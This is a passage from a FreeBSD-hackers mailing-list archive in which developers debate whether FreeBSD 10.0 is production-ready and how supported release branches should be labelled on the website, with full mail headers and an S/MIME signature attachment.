release of FreeBSD. Date: Wed, 4 Jun 2014 13:55:21 -0400 To: John Kozubik X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , "owner-freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:55:26 -0000 --Apple-Mail-2F4E3180-1DF2-4044-9ED9-D0C7323C1CB6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable All this seems like a moot freebsd-chat communication undeserving not for ha= ckers@ Would make for a perfect troll though . . . as there are no sound facts anyw= here within the original message. Personally if I was a shareholder and i seen that original message did just g= et someone else to do the job that would be more adequate to evaluate OS sol= utions properly and a timely manner. --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Jun 4, 2014, at 13:47, Mark Felder wrote: >=20 >> On 2014-06-04 11:52, John Kozubik wrote: >> freebsd.org website shows the following: >> Production: 10.0 >> Legacy: 9.2, 8.4 >> Upcoming: 9.3 >> You can't put an x.0 release into production (a bigotry that is *well >> deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... >> and we all know that 9.3 is as far as the 9 branch is going to go, so >> that's a dead end for any serious deployment. >=20 > Yes you can. You don't blindly update systems without knowing what you're g= etting into, so test test test. >=20 > See also: Netflix's presentation from vBSDCon: "Dis-spelling the myth of t= he 'dot-oh' release". >=20 >=20 >> Let's pretend for a moment that you are going to use FreeBSD for >> something other than FreeBSD development. Let's pretend that you have >> customers and shareholders and boardmembers and contracts and >> regulators. >=20 > I do. They're all on FreeBSD 10.0. >=20 >> Which version of FreeBSD would you use ? >=20 > 10.0. It's the best release FreeBSD has had in... years? > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-2F4E3180-1DF2-4044-9ED9-D0C7323C1CB6 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwohwzANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTE0MDYwMzAzMzkyN1oXDTE1MDYwMzE4MDgxM1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAJKGjiPzL417iKfMoeneq5efP1IaUUtMOy8yf+e7vO6k JF8PWpXPevNbHzgWqB+EyEqjlNdsIApe9dl8Pb4/wLxjGpeoI9h83WzblarnczZfK7s0eyT/qN0Q d9wFoX7ScyFdpFNW4TyCUNsRrqWkW1PM+nYcix9Ro9i9N89nQjIuND/2JZBgnGVys1yAqN6XF2e8 RAKlD1e5hJ3xyM7STk74Jex9b/D8jF/gmKTbJZ8zKST3VnEVIPTNUtDyCKrfwHEUT7PlLTPFBmXS YxbK33AkYF7hHR8YP1zzlShucaef1Fsqj1dz151XjqIvgLetfDUDQJTRKaQSqouYbQibC4sCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQUzDac0huOVpzovDj7gQlVDDg1z4swHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBABTurlkTDTe7R/3Va4AJzgeLybzHTijxvU9VE985fuKRBxS3x0cjKODM Gv4ynlsHCZHONGouIbuU1W0dcaiWA2Qxo0gqwXoGFZ65ERgRhot1n8UKQTvVKg/qhd2RGgqaqFFY qagXQAPglmpyvq3Hk6AN0E9XqAnbWCVaXUk0Al/TgZlCFtfE1NxfSkfF6u4ffkhj3AHHkbtBXsAe aSVF/ZJ7ET4Ji//oozVxJktOFQzb96HgMYKMk/YSznIqt3guY3KJbahQiVouWErvQaMYsXX5JUOQ YjnSa2/axNOTnUCPhDrgoS7BAJtJvNao8XWkRpp8RqqqhIywhrCsQlkRj7MwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDCiHDMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwNDE3NTUyMlowIwYJKoZIhvcN AQkEMRYEFM1thCLdtfysaz4LCBrM93eFp150MIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDCiHDMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMKIcMwDQYJKoZIhvcNAQEBBQAEggEAb1sXJVFj06uRSGU9mawT l71q/1UBWHCXo7INYRuRLxW9nUFl3urzg6R8htZ04L8SxbOlD5+wiCJzNCsruZiK2uNP8TOhxHmo 1PdbSowWIx7qI96wnFm9PvGjq6FwBATeDaeYCfWJt8fYy2FtDM3uvezPPWSVCOCltPGPzGHGEtG/ QDNIC9D0hK70rWLBh+5Vl4u+M0Ao4+MdIY7cqB1YKDaogbN4JVMC4YLyOvvJmTm+qKIoeyRDRk7w Bqv0akdXBW+wjJntHTZympkleDQJEsuDLd5ryZxohPI5LRUMoxxJIfKUjaVJcE/57Sm6JyRA8KAI DEhnK4nrC6mwuxOWRwAAAAAAAA== --Apple-Mail-2F4E3180-1DF2-4044-9ED9-D0C7323C1CB6-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:58:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFB0B1F7 for ; Wed, 4 Jun 2014 17:58:20 +0000 (UTC) Received: from nm34-vm7.bullet.mail.bf1.yahoo.com (nm34-vm7.bullet.mail.bf1.yahoo.com [72.30.239.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 651A62E22 for ; Wed, 4 Jun 2014 17:58:20 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1401904582; bh=j9nnDSNjyAmRZlGtJsyUU0e6TISks8JY4jWkUvIGWaA=; h=Received:Received:Received:X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Message-ID:Date:From:Organization:User-Agent:MIME-Version:To:Subject:Content-Type:Content-Transfer-Encoding; b=j5YB1FQpdF8ISHEZB4sEAPZx4XKYCGgNwKhUyeuzJfKCW8Zi1NuLrFOXF7PhoT2YsLPEQ2abKp7XIs09yeZxwg6E1LjOo4edxYdswAHAvHsVr5SuEDmmI1/MBG4F87RlndmVMu2tpAZQS8k8vI/OGI1tIHN/EMZ5KREd2o6NEoGb0W7qc+69Cgrl5wHItct1Ye9l7GUj/hOOWM7nCJfIoW7OEu3hce7P3PFJsklQTrH7QJsBisAj97sckhLdFU+kZzThHQ25nwtNIq7s7d4xsOUYTaFOSr8sKPri21vmvTRz82EMpc29xBT9t6sRUPpJ2RxYWxUdfJH7JJhrUMIGEg== DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s2048; d=yahoo.com; b=epR9nxSgEs8VCpzUWTXKpIyK6zF/O3PdmKrCMdH7apwSfWMrKfh9qA5CycKcBGViiEK6fX4ql2xEds10jmw8AU8DnlUIHuuj8b89z+bZxGWVEhq2S7b1vcuSo8MK5qPkKgGwE9bOQ5qnWYmZ7NtADOcB9c8JHE1ws0TYjgwcc57v5yt6tovlTmwv2MbcJGfPODezGUAhGjWDLeke+dSdapEdKLUCDNWchNZrLlAe3dmlGGOwWKTDXA3FQVUysE7YZHciDrgGGdhZCoVbCMG0Zf7UKimyAeu5ASdnxqh1BoJ7xfOb1V1rMD/aE7w8OadcFcx5IIaa+IPU6l9y323zGw==; Received: from [98.139.212.150] by nm34.bullet.mail.bf1.yahoo.com with NNFMP; 04 Jun 2014 17:56:22 -0000 Received: from [98.139.213.13] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 04 Jun 2014 17:56:22 -0000 Received: from [127.0.0.1] by smtp113.mail.bf1.yahoo.com with NNFMP; 04 Jun 2014 17:56:22 -0000 X-Yahoo-Newman-Id: 12502.4776.bm@smtp113.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: MI.vrKIVM1k7TB5KtWrS9kWDHW_070Mwz7mRAcoCuc8Zo4F BtJfos2TKJeFm3qjreRI0WgliTIGygetRzGTN_tGWf3xYl8l6mP2E2MWmfVe jYLZGQuesHQBUDrpLao3Ki6baUiEIaxavvICRqoitjF7GLXqQ6s9WzCq.wrX IpgBc_aT7rK60EC1Ra90hvk71AB1zolNjxpMbRgaPRlVnWc6qT4yL6qLzddy 5cWih.vsUoCrCitHv53qTY9ZtbyuFsIBdsO0f8p2gg.nB7fJS5EO7QWjE7iM pXxPPbnoywMpYjXfN8MF7x9b_gM8_tYZeUVZk01HSvrqyoT54J.UNJzC_ySB ghAAjp7Vz2YflttICJPFLTa9Q0HfhRAYNlWxD3ncbPQUVK91KjyITzwQ862W mmyEg5RSR4rK85u83gC5GzQtIZ_bdmwbhL.doUvrgEnzyrBim8M23ggdTm70 jiGPJ3EOUAO0TtzutuDGzX.FTAy_DiZJiNwu9r_5Y9Ay_bVh5yD6Qs_X7Jvl 7S7reZS3haPB4WWb6fptGbnlwOjdZzuk- X-Yahoo-SMTP: xcjD0guswBAZaPPIbxpWwLcp9Unf X-Rocket-Received: from [192.168.0.102] (pfg@190.157.126.109 with plain [63.250.193.228]) by smtp113.mail.bf1.yahoo.com with SMTP; 04 Jun 2014 10:56:21 -0700 PDT Message-ID: <538F5DC7.4060404@FreeBSD.org> Date: Wed, 04 Jun 2014 12:56:23 -0500 From: Pedro Giffuni Organization: FreeBSD User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, John Kozubik Subject: Re: There is currently no usable release of FreeBSD. Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:58:20 -0000 Ahem ... > You can't put an x.0 release into production (a bigotry that is *well > deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... > and we all know that 9.3 is as far as the 9 branch is going to go, so > that's a dead end for any serious deployment. It's a myth, the FreeBSD cluster is running 11-current for everything so, I think it's fairly usable. 10.0 is production quality, however you have to check for the security advisories so I use 10-stable and I find it very easy to maintain with pkg(ng). Pedro. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 18:04:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D48B6687 for ; Wed, 4 Jun 2014 18:04:38 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C23382EFF; Wed, 4 Jun 2014 18:04:38 +0000 (UTC) Received: from janderson.engr.mun.ca (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s54I4ax8038543; Wed, 4 Jun 2014 18:04:38 GMT (envelope-from jonathan@FreeBSD.org) Message-ID: <538F5FB5.9060008@FreeBSD.org> Date: Wed, 04 Jun 2014 15:34:37 -0230 From: Jonathan Anderson User-Agent: Postbox 3.0.10 (Macintosh/20140526) MIME-Version: 1.0 To: Tony Li Subject: Re: There is currently no usable release of FreeBSD. References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> In-Reply-To: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 18:04:38 -0000 Tony Li wrote: > What’s the problem with using ‘legacy’? Is the problem actually that we're using the term "legacy", which some vendors use to mean "unsupported"? Perhaps we ought to say: Supported releases: Latest: 10.0 Also supported: 9.2, 8.4 or something more explicit about branch lifetimes (in keeping with the new policy): Supported branches: 10.x - supported until x/y/zz, current release 10.0 9.x - supported until x/y/zz, current release 9.2 8.x - supported until x/y/zz, current release 8.4 ? Jon -- Jonathan Anderson jonathan@FreeBSD.org From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 18:35:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 36FC4382 for ; Wed, 4 Jun 2014 18:35:46 +0000 (UTC) Received: from mail-ie0-x235.google.com (mail-ie0-x235.google.com [IPv6:2607:f8b0:4001:c03::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E91932208 for ; Wed, 4 Jun 2014 18:35:45 +0000 (UTC) Received: by mail-ie0-f181.google.com with SMTP id rp18so7612377iec.40 for ; Wed, 04 Jun 2014 11:35:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=M2lp8/br3Bf7v/diDNc47PU8IuRaE96hWfEoGAsdmEw=; b=PPXaVsjTNxw/7u0SKs4trUs/5JTYMqDh8o2MN7izhK5cZd3UWRnRmtgFgQ4jY1x14u mLfyUbPoGU9P8jTgT/hsTEh/IUYIWxx46chVwO1etM2x67oxJiR3t2ioSbEJ/6Mhs2pb nW5KK2mrB380SkunwXrLOQbEQ0tZCSAOQfff8= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=M2lp8/br3Bf7v/diDNc47PU8IuRaE96hWfEoGAsdmEw=; b=hkoONQqXIWAqPV8hULlyC1A/fVNdeGnfPi3y4Fo6QfBEiu2cr3BhsFWP+P4UdQiDU4 fgJfHgbiFVCtcB8QR+eXn52cZeozgHvh8zN2EFISc9kVbacT7JTKi+6poez1M53Ny/yc 9vY1ThXgHi1QdOCHgO+ij99CcwAKUosnbbnQv77KVA8Wa45Q7yr7bm3OBQ492kSPojsf lFgpojrISYS1ykoVPRjXq/ESAQYqMNQzSxosx7vy0D7S5LK2TTN12FiZNpRjQrEWwSYh dJlKYI/yWCZF0YxK/bcC2U1bUkl4BL9OeijWdvnaqAfUOPwDvEbjm62UHsvERQMpFybW jpLQ== X-Gm-Message-State: ALoCoQn7zWHrRdP3aov0EirnMeIbwre+JzJngm//RUKclX9S7tOtzKKYh/U4sCvDcBGY0pmU6Eah X-Received: by 10.50.80.50 with SMTP id o18mr10251968igx.40.1401906945357; Wed, 04 Jun 2014 11:35:45 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id ie13sm12266112igb.10.2014.06.04.11.35.44 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 04 Jun 2014 11:35:44 -0700 (PDT) References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538F5FB5.9060008@FreeBSD.org> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-F691B4D3-9488-4E4A-9F26-B6139C9C04DA; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: There is currently no usable release of FreeBSD. Date: Wed, 4 Jun 2014 14:35:41 -0400 To: Jonathan Anderson X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , Tony Li 